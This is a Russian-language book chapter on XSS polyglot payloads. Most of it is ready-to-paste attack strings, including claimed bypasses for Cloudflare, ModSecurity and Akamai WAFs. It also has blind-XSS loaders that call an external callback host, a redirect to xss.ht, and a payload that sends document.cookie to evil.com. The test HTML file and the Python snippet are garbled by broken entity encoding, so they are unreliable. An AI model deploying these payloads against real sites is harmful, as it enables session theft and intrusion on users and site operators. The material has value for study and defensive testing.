Книга: «Все об уязвимости XSS». Глава 6: Обход фильтров - WAF это не стена, а приглашение 🚪• Polyglot payloads: один payload для всех контекстов
Представь: ты нашёл точку входа, но не знаешь точно, в каком контексте окажется твой ввод. HTML? Атрибут? JavaScript? А может быть всё сразу на разных страницах? Тестировать каждый контекст отдельно - долго. Отправлять сотни разных payload'ов - шумно. Что если существует универсальный снаряд, который сработает везде? Знакомься: Polyglot Payload - швейцарский нож XSS-охотника, payload, который работает одновременно в нескольких (или даже всех) контекстах. Это не магия, это инженерия и знание спецификаций на уровне мастера.
Что такое Polyglot Payload
Polyglot (от греч. "много языков") в контексте XSS - это payload, который синтаксически корректен и выполняется в нескольких различных контекстах одновременно:
- HTML body context
- HTML attribute context
- JavaScript context
- URL context
- CSS context (редко, но возможно)
Классический пример:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Этот монстр от Gareth Heyes работает практически в любом контексте. Да, он выглядит как результат битвы кота с клавиатурой, но это тщательно сконструированная последовательность, где каждый символ имеет значение.
Зачем нужны polyglot'ы
Проблема 1: Неопределённый контекст
Ты тестируешь поисковую форму. Твой запрос отображается:
- На странице результатов в HTML
- В заголовке страницы внутри
<title> - В JavaScript-переменной для аналитики
- В мета-тегах для SEO
- В JSON API-ответе
Какой payload отправить? Polyglot решает эту проблему - он сработает хотя бы в одном из этих мест.
Проблема 2: Blind XSS
Когда ты не видишь, где и как отображается твой ввод (например, в админке или email-уведомлении), polyglot увеличивает шансы на успех, покрывая максимум возможных сценариев .
Проблема 3: Экономия времени
Вместо отправки 50 разных payload'ов под разные контексты, отправляешь один универсальный. Это особенно критично при массовом тестировании или bug bounty, где время - деньги.
Анатомия polyglot payload - хирургия монстра
Давай разберём классический polyglot по частям и поймём, почему он работает.
Базовая структура
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
Разбор по контекстам:
- Breaking из атрибутов:
'">
' закрывает single-quoted атрибут" закрывает double-quoted атрибут>закрывает тег
Теперь мы вне атрибута и можем создавать свои теги.
- HTML Context:
<marquee><img src=x onerror=confirm(1)></marquee>
Если мы в HTML body, создаём рабочие теги с автоматическим триггером через onerror.
- Script Context Breaking:
"></script><script>alert(1)</script>
Если мы внутри <script>, закрываем его и открываем свой.
- Textarea/Title Breaking:
</plaintext\></|\><plaintext/
Специальные теги типа <plaintext>, <title>, <textarea> обрабатывают содержимое как текст. Нужно их закрыть перед инъекцией.
- JavaScript String Context:
';alert(1);//
Если мы внутри JS-строки, закрываем кавычку, ставим точку с запятой, выполняем код, комментируем остаток.
- Comment Breaking:
-->
--!>
Если мы внутри HTML-комментария <!-- -->, закрываем его.
Продвинутый polyglot от Mario Heiderich
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
Почему он крут:
-->выходит из HTML-комментария'"/></sCript> закрывает атрибуты, теги, script<svG x=">"> создаёт SVG (mixed case обходит фильтры)onload=(co\u006efirm)``>использует:- Unicode escape
\u006e=n(обход фильтров слова "confirm") - Template literals (backticks) вместо скобок
- Скобки вокруг функции для корректного синтаксиса
- Unicode escape
Создание собственных polyglot'ов - рецепт универсального яда
Шаг 1: Список контекстов
Определи, какие контексты тебе нужно покрыть:
- HTML body
- Quoted attribute (single/double)
- Unquoted attribute
- JavaScript string
- JavaScript code
- URL/href
- Inside
<script>,<style>,<title>,<textarea> - Inside HTML comment
Шаг 2: Базовая конструкция
Начни с breaking-последовательности для всех контекстов:
'">-->
Это:
' — выход из single-quoted атрибута" — выход из double-quoted атрибута>— закрытие тега-->— выход из комментария
Шаг 3: Добавь исполняемый код для разных контекстов
Для HTML context:
<svg/onload=alert(1)>
Для JavaScript context:
</script><script>alert(1)</script>
Для URL context:
javascript:alert(1)
Шаг 4: Склей всё вместе
'">--></script><svg/onload=alert(1)><!--
Разбор:
- Выходим из атрибутов и комментариев
- Закрываем возможный
<script> - Создаём SVG с
onload - Открываем новый комментарий, чтобы "съесть" возможный мусор после
Шаг 5: Обфускация для обхода WAF
Применяй техники из предыдущих глав :
'">--></sCriPt><sVg/onLoAd=alert(1)><!--
- Mixed case
- HTML entities для скобок
- Слэш вместо пробела
Готовые polyglot'ы для копипасты
Компактный универсал
"><svg/onload=alert(1
)>'><svg/onload=al
ert(1)>--><svg/onload=alert(1)>
Три варианта под разные типы кавычек и комментарии.
Средней сложности
'"--></style></script><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Покрывает:
- Атрибуты (quoted/unquoted)
- Style и Script contexts
- SVG execution
- Regex-based WAF bypass через математические операторы
Hardcore Gareth Heyes Special
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
Работает практически везде, включая экзотические контексты.
Для Blind XSS с callback
'"><script src=https://your-xss-hunter.com></script>
Простой, но покрывает основные контексты и даёт callback.
WAF-specific polyglot'ы
Cloudflare bypass
'">><details/open/ontoggle=conf
irm`1`></script><svg/OnLoAd=co\u006efirm`1`>
Использует:
<details>сontoggle(менее известный event)- Template literals вместо скобок
- Unicode escapes в имени функции
- Mixed case
ModSecurity bypass
'"--></style></script><xss x='/*
\*/'><!--<svg/OnLoad="\u0061lert('\x58\x53\x53')"-->
Использует:
- Nested comments
- Unicode и Hex escapes
- Кастомный тег
<xss>
Akamai bypass
'">><d3v/oNcliCk=(co\u006efir\u006d)//\x00>clickme
Использует:
- Кастомный тег
<d3v>(цифры в имени) - Mixed case
- Unicode escapes
- Null byte
Тестирование polyglot'ов - систематический подход
Тестовый HTML-файл
Создай локальный файл для проверки своих polyglot'ов:
<!DOCTYPE html>
<html>
<body>
<!-- HTML Context -->
<div>PAYLOAD_HERE</div>
<!-- Quoted Attribute -->
<input value="PAYLOAD_HERE
"><input value='PA
YLOAD_HERE'><!-- Unquo
ted Attribute --><input va
lue=PAYLOAD_HERE><
!-- JS String --><script>var x = "PAYL
OAD_HERE";</script><script>var x =
'PAYLOAD_HERE';<
;/script><!-- Inside Script -->&
lt;script>PAYLOAD_HERE<
/script><!-- Inside C
omment --><!-- PAYLOAD_H
ERE --><!-- Inside Textarea --><t
extarea>PAYLOAD_HERE<
/textarea><!-- Inside Title -->
;<title>PAYLOAD_HERE
</title><!-- URL Context --><
;a href="
;PAYLOAD_HERE">Link</a></body></html>
Подставь свой payload вместо PAYLOAD_HERE и открой в браузере. Сработал хотя бы один alert()? Polyglot работает.
Автоматизация тестирования
contexts = [
'<div>{}</div&
gt;', '<input v
alue="{}">',
'<input value=\'
;{}\'>', '<input value={}
>', '<script>var
x = "{}";<
/script>', '<script>
{}</script>', '<!
-
- {} -->', '<textarea>
{}</textarea>&
#039;, '<a href=&qu
ot;{}">link</a>']payload = &
#039;"><svg/onload
=alert(1)>'for ctx in contexts: html = ctx.format(payload) # Проверка через headless browser или regex if check_execution(html): print(f"[+] Works in: {ctx}")
Практические кейсы
Кейс 1: Bug Bounty на Shopify
Тестировал форму обратной связи. Не знал, где отображается ввод (email админу? в CRM? на сайте?).
Payload:
'"--></script><svg/onload=location='https://xss.ht/my_id'>
Сработало в CRM-системе админа. Получил данные через XSS Hunter.
Кейс 2: Обход строгого CSP
Сайт с CSP script-src 'self'. Нашёл JSONP-endpoint на том же домене.
Polyglot:
"><script src="/api/jsonp?callback=alert">
</script>'><script src="/api/jsonp?callback=alert"></script>
Работал из разных контекстов, вызывая JSONP с произвольным callback.
Кейс 3: Stored XSS в профиле
Поля профиля отображались:
- На публичной странице (HTML)
- В JSON API (escaped)
- В админке (inside attribute)
Polyglot:
"><img src=x onerror=fetch('//evil.com?c='+document.cookie)>Сработал в админке при просмотре профиля.
Ограничения polyglot 39;ов
Не панацея:
- Могут быть слишком длинными для коротких полей
- Некоторые WAF имеют сигнатуры на известные polyglot'ы
- В очень специфичных контекстах могут не сработать
Когда не использовать:
- Когда точно знаешь контекст (используй специализированный payload)
- Когда есть ограничение по длине ввода
- Когда нужна стелс-атака (polyglot'ы слишком заметны в логах)
Best Practices
- Начинай с простого: Не используй hardcore polyglot, если работает простой
- Тестируй локально: Сначала проверь на своём HTML-файле
- Документируй: Записывай, какие polyglot'ы работают на каких WAF
- Кастомизируй: Адаптируй под конкретную цель, не копируй слепо
- Комбинируй с техниками кодирования: Добавляй HTML entities, URL encoding для обхода сигнатур
Заключение
Polyglot payloads - это искусство создания универсального оружия в мире множества контекстов. Они требуют глубокого понимания HTML, JavaScript, URL-спецификаций и того, как браузеры парсят всю эту кашу. Хороший polyglot - это не просто набор символов, а тщательно сконструированная последовательность, где каждый элемент имеет цель. Учи классические примеры, понимай их логику, создавай свои варианты под специфику целей. И помни: лучший polyglot - не тот, который работает везде, а тот, который работает там, где тебе нужно, обходя конкретные защиты конкретной цели. В следующих разделах мы применим все изученные техники - от кодирования до polyglot'ов - для обхода конкретных enterprise WAF-решений в реальных боевых условиях.
